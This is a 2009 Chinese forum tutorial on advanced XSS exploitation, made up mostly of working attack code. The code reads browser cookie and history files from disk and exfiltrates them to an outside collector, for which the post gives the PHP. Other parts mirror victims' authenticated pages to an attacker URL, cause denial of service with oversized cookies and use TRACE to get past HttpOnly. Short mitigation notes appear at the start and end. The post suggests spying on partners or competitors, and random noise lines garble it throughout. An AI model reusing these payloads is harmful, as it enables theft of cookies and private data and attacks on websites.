XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
. B) M: k! e8 {* I& L! \本帖最后由 racle 于 2009-5-30 09:19 编辑
. n4 U/ z1 G4 G0 h
4 t' y7 D% _( Z0 w; l$ [6 G1 hXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
9 z7 H+ }. b  g- s" SBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
, e  e' i- T' `6 c0 R/ Q8 R; E" n( [转帖请保留版权
0 e+ s4 x) m1 }, E, z9 J) Y


-------------------------------------------前言---------------------------------------------------------

4 |  S3 \) A2 K7 C  y
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
9 N% f; H8 X* y# z

& `  W4 \# N/ W6 o6 Z( {# J如果你还未具备基础XSS知识,以下几个文章建议拜读:
# s# e: X9 \6 D; J) bhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
- m7 K3 ?8 T  ahttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
' |: K2 C6 o5 Z+ uhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
9 F( R0 S7 ]0 a4 H8 m- ]http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
. f4 m. \& @3 |
0 v/ J1 ]8 k2 y% w5 D; b' k


6 E9 |$ Q5 w3 l" t, v4 A2 `如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

6 t8 {0 W: h4 K  d) H希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
6 m+ B' w3 |+ m) O% y; j
# R4 }1 }8 R. g6 A, F: b8 y如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
& l9 d$ p1 `, i3 ^8 C! X5 T$ n
5 ?$ g, k  C& |/ S, mBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
6 F2 a- v! `! [" v# k2 f6 U  |, y
QQ ZONE,校内网XSS     感染过万QQ ZONE.
* ~& g! h  B3 p
2 r; c0 n- u, B; f& Z" v2 X' dOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

7 U2 f1 G) V. u..........
复制代码------------------------------------------介绍-------------------------------------------------------------
5 b0 L) o; b! R2 R8 G# W
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
( U# L- ^/ E- N% D


% V* J! }6 W0 k  [$ o跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

4 [; O+ Z6 b, ], p
, S( i% e' U4 G4 ?% [
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
& Q9 I7 _- o) n" J2 _+ l复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
$ O! _1 g6 F# T- x% A6 A- r+ {
6 z1 @/ h: E9 b2 t+ Y* y1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

7 B$ E+ r; ^2 ]+ I3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

, F5 W2 W+ Y1 C. I4        XSS漏洞在输出和输入两个方面怎么才能避免.
* A( c6 l# I& k6 g2 G2 Y5 d- N  E8 D


9 P. K" q1 U  x3 Z) D------------------------------------------研究正题----------------------------------------------------------
/ g- j% f# ?2 H  k


通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
. d7 f; W6 l; A8 F& N复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
- v9 h6 V: ?. i& X4 E# L1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
4 _- y# }' C7 C+ l2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
% ?, ]8 @2 E0 ?4 \- R3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
6 D2 Z; ~/ i2 [0 [9 a5 u( R4:Http-only可以采用作为COOKIES保护方式之一.

1 \1 R; n1 j4 q/ ?
  h' F) Q4 D& g% A! ?; Y. \% m/ q
3 \5 S! Z2 i1 W. d
2 N3 w/ ]& [, G3 @* V  U
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
* Z. `0 F# M! p2 `9 p. P
+ l" p; B1 g1 N2 c0 ]  u6 |( l/ H我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
0 ?) Y- u( l+ S4 n! M. W
3 q# j* J6 Y' b; @! `/ Q

1 ?9 t9 W. x# r3 n    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
7 M7 \4 u" d. V8 r4 V) N
: s5 K' v' |0 R0 g! L% |
1 v8 P; D8 n: {( b1 c
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
9 U( n  H/ ^5 I: x3 q% v

/ g0 C6 {6 m( T  M& ~* ~  Z& J$ Q9 K
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
/ W3 ^8 x* ?2 R- \6 c
& i% j0 A- g! _" X, v    function $(x){return document.getElementById(x)}


6 E8 U; o( q* C4 R3 J
    function ajax_obj(){
# `3 S/ h! e  ^9 D* Z
    var request = false;
, E7 a/ \9 x5 T3 L3 r
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

# ~7 y/ O1 ]/ H+ d; i    } else if(window.ActiveXObject) {
# Z  k  H2 F4 s/ f
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



+ U5 u. d8 C! n& l, D$ H1 p2 d    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

5 N. y& T/ Q2 i; K3 t    for(var i=0; i<versions.length; i++) {

    try {

% ~4 c% W  e& J" N    request = new ActiveXObject(versions);
5 q4 _$ d3 d. H( H, U- z2 _. |
' ^  H! g3 }. }" L/ R' T3 G    } catch(e) {}

    }
* R# ]: g$ W; A1 |5 G! J& `
    }
) |/ E$ |+ c1 _' G& @! \! ~( v+ g
" n. W! F: }) c8 A9 j    return request;

    }
7 F& ^8 a' j2 _' T7 N* K
' g8 F' u. c' k8 \; g. M    var _x = ajax_obj();
2 H7 [# W2 |8 s. M9 \# i
& S/ ?2 n' o2 ]    function _7or3(_m,action,argv){
0 j  E1 i6 u& @) t3 |5 L- h
/ K, t+ b) M  F9 \! O  ~    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;
9 _' Z% Y) [) b
    }
# v: A  W, S' \8 I$ u+ c* ]
2 `, `7 X! s; Z* |
9 F$ O0 h5 t' b- _7 s$ R2 `- P
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
' z. m8 I0 q, r) z
    alert(txt);
! B: P6 ]1 s$ l


& D! l6 H& W) w6 i! k; v    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
) l: B& @' I; v/ B! z
9 }/ k+ R/ C1 _" V2 y0 {    function $(x){return document.getElementById(x)}
, V# H- S& h* s5 t

) P9 a7 d5 I+ q6 m+ t7 Z* n- A
    function ajax_obj(){
- q0 s; Z- x; J. N. O
. j0 _" J( @1 M    var request = false;

    if(window.XMLHttpRequest) {
; D' C" z& R& O* `
    request = new XMLHttpRequest();
- a- N4 E3 H8 A# r* k2 Z/ k) \
- u- q# C0 {; f6 h    } else if(window.ActiveXObject) {
2 h- D& X  |0 K2 I# [. O# I
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
9 Y/ K$ \; Q6 k* a, ]6 D% _
0 E) m: T, V  _

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
; {$ l% t9 G' @1 ~
: J3 Y0 f  }! c& g: j  G    try {
0 e- V) W  A3 g" I9 a; Z
    request = new ActiveXObject(versions);
- ]3 @8 l3 x; J5 H
5 M- b- d; `- i3 L! B+ z0 _    } catch(e) {}
! {+ b; s, q0 r3 M
    }
0 ]6 K$ k% X( a/ |( U% }" N5 J; M
: O3 z7 T& Y3 m- q! @) w    }

4 `6 [/ J% \7 i& J# a" K# W( h    return request;
. [+ C2 c+ V: U
8 A, S. f7 L6 U3 z    }

5 j5 j' U! y3 @, g8 t1 a    var _x = ajax_obj();

    function _7or3(_m,action,argv){

8 k# t9 h, S7 t5 C4 _    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
; V, S6 s* c5 e
* J7 P: ]" t5 V8 V4 o' o" V" k1 i    _x.send(argv);

    return _x.responseText;

    }



; H& Z1 U  U9 [& m    var txt=_7or3("GET","1/11.txt",null);

$ ?" c& l. l# ]    alert(txt);

7 `* e! b2 s% m+ b" b

    </script>
$ v# H: F% R8 H* G. v' b" ^复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

5 Z2 F. E) c6 Y% n7 [/ F

5 i' O( d  o" t. \, dChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
# O5 P% X7 m/ |  G6 z" j( H* t
" f7 c9 w% K# K
3 p" [2 f4 [+ p! S% c
5 `" i" C% D8 }8 ?5 K; U<?   
* Q% I0 a% _+ d. r$ \  [
/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
, n4 M% L1 Y8 l& P$ V$ a
, V" a* x! {  [$ O% Z     www.inbreak.net   
, Q; C6 p' ]) r3 X+ c5 ^/ S# d) W( Y
     author voidloafer@gmail.com 2009-4-22   

5 ^- ^1 F7 ~6 X: i0 h- q     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

  r! w: W( B/ a: T( R. s0 x*/  
: C) R4 w7 r7 l
9 p7 k3 X% Y2 t/ v' |- jheader("Content-Disposition: attachment;filename=kxlzx.htm");   
* }' i6 `8 |5 K4 @/ B5 K
header("Content-type: application/kxlzx");   
, V- X3 O7 s" ]+ y! T! k0 R& s+ s3 }
/*  
) X6 ]# S% {9 z* R$ Q
     set header, so just download html file,and open it at local.  

  ~+ F3 I% V( E) U0 r  G*/  

# J5 ^4 i& f$ ^- A$ z?>   
$ C9 J* T, c6 Q, `$ \+ J$ y
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
7 ~: W% P; {! w5 q; q- e. o9 |( Z
4 K) N  ?( k6 o: L     <input id="input" name="cookie" value="" type="hidden">   
* o2 o% {# U1 u- ?( }5 ?
2 ^$ T' J8 y+ {/ ~+ c</form>   

<script>   

! s* Q0 i* H" l: k9 ]2 h" m7 k2 xfunction doMyAjax(user)   
2 j6 n1 h. \3 K$ I/ W5 w# E; C
{   

var time = Math.random();   
8 q& t& }" o# t; I+ c6 p: Y
/*  
% S( b: O5 S: Y8 }
: V1 Y: @! v6 l! [$ uthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
2 w/ h3 t0 g* b, M1 z
$ L& ^5 ]! v! @1 \" K* Z: r' Oand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

& ~3 Q; V' _& }. k% xand so on...  

* Z1 G. [& W; F: r*/  
. k, B) x- \8 x1 z
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
2 v$ G2 N4 X2 r9 }, T- H6 y
   

startRequest(strPer);   
: E  w( d5 E6 U, c* }3 F


9 K. x) W+ \) g}   
* P3 `& i' k+ \  L1 a8 X" g
   
( F% ?: H. [( I
4 s6 |+ u; x0 v8 [# L$ D! d' yfunction Enshellcode(txt)   
; o) z$ ]* n# y' M  x+ e5 g, s4 |
# h+ m# P- P3 \2 o+ f' K% c{   
/ k+ Y, F2 q% k" W% a
var url=new String(txt);   
, h" s1 K& Q& S3 j( |: w+ d8 g$ F
var i=0,l=0,k=0,curl="";   
4 Y/ x/ k+ _' I. ]
' s7 s" j: g3 w( ]. x1 Cl= url.length;   

9 R. r7 y0 a' yfor(;i<l;i++){   
. C  C" g7 A$ [/ l. F  y0 K
3 s* V: L) y/ ?: T5 _k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
# B7 ^8 b/ M' s# r4 s5 Q  q; r
0 E" a0 L7 G5 pif (l%2){curl+="00";}else{curl+="0000";}   
" L% |+ [! d7 O5 q6 x! P8 N  X
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   

# J& A% u& j* @  I, ~; F" b  B}   
0 J9 c2 c) Y7 q  ~: u3 H
& T  P+ b( l# \* [  L* V" V$ |5 X   

   

var xmlHttp;   

) g( H! [! X2 \" }( l  f' N9 ?function createXMLHttp(){   

     if(window.XMLHttpRequest){   
% g$ s6 W6 |% U* o, q8 d. ~
xmlHttp = new XMLHttpRequest();           
0 Y3 S8 H% y; f9 m2 f" _
     }   

     else if(window.ActiveXObject){   
9 u  I# L4 h0 \1 S+ P
! S4 Q7 q" R/ [) {' T* v1 r4 DxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
, M3 B: q/ w7 }: N8 r* z9 |1 t; r
     }   

}   

+ B! q3 ~9 Q7 g+ t0 w5 t8 w   
6 s& e8 C8 E$ R5 Y$ ]6 Y9 T
* q# @$ e  k8 ~7 \/ ?function startRequest(doUrl){   
3 e. u, S/ Q: \# J" m$ p  Q: M
   
5 N+ Z# s- r- k7 ?8 k  u
9 u  p  l) A; f     createXMLHttp();   

+ e( [& B( \1 G3 L+ m' n2 L
1 t( R; L" `: @8 r. Y: w
$ J( p* O* m( ]/ @( y. C     xmlHttp.onreadystatechange = handleStateChange;   

' w0 L* P, P0 v$ I% f

     xmlHttp.open("GET", doUrl, true);   
4 s6 ]' W! G+ q$ c/ p% e


. b& m5 N; c2 o     xmlHttp.send(null);   
9 M& S$ ^9 h  ^& \. ^8 b* C: l! F; L8 H

- L8 g$ j( w/ G, l
# V% |7 g- ]! N! K% M1 ^. w
8 f7 f% K) S5 N; O
# d$ d0 L9 T, \5 ?" Q- z6 u& O' d8 b}   
; \2 k' d( D% v
   
& N) `0 z2 M8 f' G$ x
5 W- B& `! P: d" B; U# U5 Rfunction handleStateChange(){   
" E& u; G! _8 \. P
     if (xmlHttp.readyState == 4 ){   

; b6 w9 R8 [# U8 W3 O& `0 d! a     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        
: }. X! J! T1 V
) {5 `& S2 D+ E0 L8 q0 k     }   

- H( F4 ^1 C2 ~; f}   
2 s" m1 ^$ J* f/ M" T
   

   

% }, c- c: }* }- b' ^1 ~' f% |function framekxlzxPost(text)   
+ A/ b. Z8 O9 n
{   
/ q8 p1 L( {; w5 l
     document.getElementById("input").value = Enshellcode(text);   
+ L: L0 ?5 M; N8 f* P+ W
     document.getElementById("form").submit();   
0 b6 n8 W, e4 {/ R$ J
}   

   

doMyAjax("administrator");   
# h+ ~3 c! Y9 L3 V
   
4 Q1 r3 y4 f: ^
</script>
1 G+ N- q! T1 Z( M复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

  E9 E% @- C* g; f0 t' x& hvar xmlHttp;  

. L+ k- R. \0 s- ^; M5 Pfunction createXMLHttp(){  

     if(window.XMLHttpRequest){  
9 H3 X, O# {, [& [5 n+ C
         xmlHttp = new XMLHttpRequest();         

/ Y2 \4 Y& N. h  I* |% Z" H6 [     }  
4 }8 E! F8 t' b6 c
$ O: w0 d9 {, M5 a; [8 c$ b     else if(window.ActiveXObject){  
/ r9 V+ ~2 E* u' B# ^
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

% [. U$ t, w, k0 O# @9 s     }  

}  

   
7 ?1 a; v% J% t: C$ Z2 Q
function startRequest(doUrl){  
4 y: c% A3 n! ?7 S
           

     createXMLHttp();  
2 {4 M4 F$ `3 B) v* F
: d% _% ^% b# S( T, O) X      

8 O# p; S$ b  G     xmlHttp.onreadystatechange = handleStateChange;  
" R) ^1 w  e# o8 g$ B2 [
      

- r# ?( h$ @, t& ?     xmlHttp.open("GET", doUrl, true);  
; o" g5 ^8 M( z
      
. ^% p7 K) S" [4 t
     xmlHttp.send(null);  

      

: u  a, W& e/ M+ M8 K0 ~7 I      
- [( @' W3 Q8 Q( X! N
}   
9 v, o6 l% _; F% i" B7 `7 K
   

function handleStateChange(){  

& l) _& s/ |* v     if (xmlHttp.readyState == 4 ){  

0 W" i3 b$ n; f* b  T, p+ d9 f             var strResponse = "";  

1 C2 ]$ ~2 f6 Q8 E             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

& M/ {$ i: u" M/ N1 j! a     }  
. ]4 u  U! f4 L8 r- o- B% D1 }1 {! b
0 Z' p' c/ e% G$ c}  
) T& o" _" m$ T
   
7 Y: s" J4 c# o- f# V5 y  {
1 N- v  y4 a" I. b/ S) M! S; [( rfunction doMyAjax(user,file)  
9 L+ n9 I1 D- D' }7 `
1 G+ H5 N9 ~+ L8 k{  

         var time = Math.random();  

           
# j. }' S: l  p+ u! \0 E
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
% _  {6 W9 J- p- b
1 q- y! l" P2 E1 l1 ^. a           
7 k4 D" ?# O; z' a
+ I6 G4 d6 `, E5 c         startRequest(strPer);  
7 W* G; |" R6 r& h" L0 }
      

, [$ _% t+ P8 s- A}  
' f( a/ Y! J! w% l! ~
   
& v% m8 X7 y4 T; a, R
function framekxlzxPost(text)  
4 \5 i; m( G4 d+ c
{  

  G. S+ E* @* q9 r# O" z9 \4 ?1 y" ~1 _) h     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

5 P9 X( q& v* a; k( ?     alert(/ok/);  

}  

   

8 T: }; `8 S! x  v! O4 ?8 EdoMyAjax('administrator','administrator@alibaba[1].txt');  
6 L' E/ [) Z+ j0 X  x& U: G- v% {( s0 S
/ l* S6 Y( c8 _. Y* F% N7 s& e5 G   
+ x7 g. Q" {( P0 A9 U
</script>
$ T% l9 [4 h1 v5 _1 g

5 A, C9 X7 y  T+ s+ _+ ]. a/ S
2 ~* F* c( E3 v0 `5 l4 T, O( J

8 n4 \% t/ H& t! F! Q! N0 b/ ya.php
/ t, A) T- p" }; k
3 O% Q8 F) y. H  K; y1 y% s6 X

! q# o9 |3 w% H7 p" b" i  f, C3 p<?php      

$ |: x) V; U9 X$ F/ A( h- n: U; S$ v   
$ V2 i1 ~9 {* C' Y% ?
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
$ g/ I! `2 V8 \$ ^
: C7 O  t$ B: I! h5 h3 i$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

" q. S) Z& f6 {* L" h  

5 F4 w# O: v3 K6 ?1 L: K! ]$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
1 G4 D& \7 q# S( H
fwrite($fp,$_GET["cookie"]);      
; B  s6 u  j% M+ `# ~
$ Y: \6 T5 g& x: ^3 }: \fclose($fp);   

' e( \8 x7 A) b?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

! s8 A2 J" G, ?: S3 t- I: q1 ~或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
" d. d* @6 c8 j& ~$ @利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

, p/ k7 b+ X9 [4 c9 k7 g代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
9 z- B! T1 k" Q- r+ p$ X# F9 e  h5 v" v
8 m5 W5 L  G$ |, R7 s) y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
8 b# x/ ^* X$ s/ w7 ~
2 o9 N0 P( X2 t% Q//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
- n! W1 Y$ G1 h2 D
$ _. b! ?+ K0 X) vfunction getURL(s) {

$ N' F5 `4 q1 t$ M" q3 {var image = new Image();
9 I2 g0 o; O& b/ Q8 V* I
image.style.width = 0;

image.style.height = 0;
5 j: [9 p8 j# D
image.src = s;
3 \6 G6 j5 p4 Y
$ B  |2 N4 V' Y  T9 U! p}
: X: x% Y3 Q$ z/ m! W
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
6 a$ X9 ?4 |* F3 @复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: m3 _" X7 N% e1 m. N这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
6 K2 k7 L& C! K0 F
3 Z7 F! H/ \7 Z+ C/ _- }0 ]var str = "";
4 n. `3 L0 _. L% X! ]4 u: }9 ~
while (str.length < 4000){

    str += metastr;
6 D4 R  G$ w6 c3 }! ^4 d, m
}
6 {* D+ B5 v: l# d


  a! y* w2 F+ i8 K5 q) i! V! \document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
, @6 |/ n$ j3 q! I$ t1 N+ w% }
4 I7 v7 {# \' Y* c! _0 U$ w</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
" j- p- D4 m& N' E3 H* _复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

; ]/ e( k7 Z0 b; A假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
5 n$ g: y* c+ W/ Y8 G+ M攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
7 p8 l5 S5 O9 x  Q3 q0 I

; x8 s  _# @9 T2 g
5 |, K6 t3 E* g2 G9 y% \; H& V
" L" p$ p! n* I  f! m8 x7 [- }: z0 B

( G" D; {" Z5 Y. ^  l(III) Http only bypass 与 补救对策:
4 v& V5 R. J! `  Q7 b$ y5 `
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
9 d! i1 Z9 E- f& V7 J$ t以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
* R, L6 `; n& s! {7 `
0 }8 C6 a9 w7 y0 r0 ^function normalCookie() {
! r& ^# Q3 ^* K6 c& a
* M- Z$ P9 u- C5 u+ S% wdocument.cookie = "TheCookieName=CookieValue_httpOnly";

  ~' c6 I0 f3 o4 V1 h2 Nalert(document.cookie);
9 A' H1 i2 a8 |% z) }
* i9 q% X7 z+ V4 ~}




. x  L9 I, N. I0 M
+ {% A6 l+ r8 {; ]  @function httpOnlyCookie() {

  b3 _1 x( u4 L7 Odocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
  F5 a, {# Q, m" C7 x
alert(document.cookie);}
! x7 r; @, l3 ~7 e% x- s) ^4 U


//-->

</script>

' X1 W/ n# I( ?. E) E5 W( }0 a& ?

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
4 H6 G0 u8 [* L( O5 S' S
  n8 D9 e4 A& {( q! f5 G9 b<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

  K- g! a1 g5 _/ M4 K* s2 D. f
! D/ m, q1 \  X& _& I% {
var request = false;

        if(window.XMLHttpRequest) {
$ P" S6 Y5 e+ i
            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
* `4 b" v7 U5 X: V$ o( J3 B1 l* W
. f3 N6 R3 |$ a! J% _. M! f) U3 x                request.overrideMimeType('text/xml');
" M2 ?. U' ^' p0 t# M1 P& n
            }

. J2 n$ s7 o' F* p4 L$ t        } else if(window.ActiveXObject) {
. o, u0 S+ o0 S
' W7 M3 Y" r& x            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
. ~# a" c, X; Z
" @0 Y  i4 M! P# R* n. f                try {

                    request = new ActiveXObject(versions);
+ Q/ x1 w1 X# \1 g6 `5 G
                } catch(e) {}
0 P4 M. o5 Z- M3 @! u
            }

        }

0 o* M. o6 V) J% n  W7 AxmlHttp=request;
9 R8 Q, Y( n2 M/ W4 h
xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

alert(xmlDoc);
3 p  Y! I; X* N2 N
% g: `+ \6 h; T& z; i1 ?% Z9 S8 |$ A" K! U/ f</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

2 s. m* o. z7 avar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# [9 X/ _4 S( D' j
XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
, i& J6 ^4 s4 @) J# o/ O! a; \( Z. t
) l5 g- S, o3 d9 |, m) a  t0 A4 QXmlHttp.send(null);

var resource=xmlHttp.responseText

resource.search(/cookies/);

' H& H0 w# E3 B5 q- @......................
; ~( z: J; r- }+ ~8 k
</script>


) l# j4 Z/ S+ U, N' W
4 O4 [  x  Y* V

如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
* }, H. f$ t  e* q) \; N
" O1 m0 j# e6 o$ ^' Q) u. d[code]

, U( n4 X1 U; @1 b) c) M+ HRewriteEngine On
4 J( A& Q- t2 z: M! Q& T
2 ?" ]7 n' O, d7 j5 ~; E+ l- E2 Z; kRewriteCond %{REQUEST_METHOD} ^TRACE
8 j0 B4 Z! Z9 Z; j+ o! B5 ?
RewriteRule .* - [F]


) D" X5 b* m% M5 d( p1 L
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
' v& g# ?  R) J4 Q- U8 D
